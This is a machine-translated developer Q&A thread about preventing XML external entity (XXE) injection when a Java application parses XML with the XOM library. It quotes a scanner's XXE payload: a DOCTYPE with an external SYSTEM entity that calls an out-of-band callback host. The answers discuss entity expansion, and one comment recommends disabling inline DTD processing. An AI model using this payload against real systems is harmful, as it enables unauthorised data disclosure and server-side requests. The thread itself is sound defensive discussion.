2016-09-21 29 views
1

我有如下上午XML代码限制在XML文件中的实体标签:如何使用XSD

<request><param name=\"client-id\" value=\"organization\"/><param name=\"client-org-id\" value=\"3042d80e24cd4cc31eb9ef48e7012\"/><param name=\"user-agent\" value=\"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0\"/><param name=\"client-browser\" value=\"Firefox 48\"/><param name=\"domain-id\" value=\"layout\"/><param name=\"view-id\" value=\"1\"/><param name=\"view-token\" value=\"layout|get-workspace|\"/><param name=\"view-action\" value=\"private.layout:get-workspace\"/><param name=\"view-parent-id\" value=\"\"/><param name=\"view-parent-token\" value=\"\"/><param name=\"view-parent-action\" value=\"\"/></request> 

,在这里我得到上面的XML作为字符串,我使用XOM解析器解析XML。现在我的问题是我的应用程序通过安全扫描了和参数,通过它我得到的XML字符串如下注入外部XML:

<?xml version=\"1.0\" encoding=\"utf-8\"?><!DOCTYPE acunetix [><!ENTITY acunetixent SYSTEM \"http://hitrlWBrzWDQ0.bxss.me/\">]><xxx>&acunetixent;</xxx> 

所以我想,以防止外部实体。对我来说最好的解决方案是什么?或者在使用xsd解析XML时避免xml中的ENTITY标签的任何解决方案。提前致谢。

回答

1

我害怕,你不能做到这一点在XOM

http://www.xom.nu/infoset.xhtml,你可以阅读

所有的实体引用被扩展了。 XOM不允许未扩展的实体引用。

+0

感谢您提供此信息。请为这种情况建议一些解决方案。 –

0

首先,你已经张贴在 XML。您必须删除双引号字符前面的所有反斜杠\字符",以便您发布的内容格式良好。

所以我想要防止外部实体。

如果您认为您希望防止外部实体被注入到您的XML中,那么我们可能无法帮助您,因为大概我们和您都不能控制正在注入的安全扫描它。

如果你这样做意味着你想阻止实体引用被扩展,那么意识到XML解析器是假设来扩展实体引用,并且通常不会提供重写此行为的方法。 @innovimax(+1)已经记录了XOM不支持。当实体引用在高级中已知时,请参阅here以了解XSLT中的黑客行为。

最后要注意的是,无论是对您的请求的解释,XSD都没有任何作用。

+0

请注意,解析内联DTD导致安全漏洞,例如XXE或“十亿笑”(请参阅​​https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing),安全最佳实践是禁用内联DTD处理,因为攻击者可以将其DTD添加到从用户输入处理的任何XML中。 –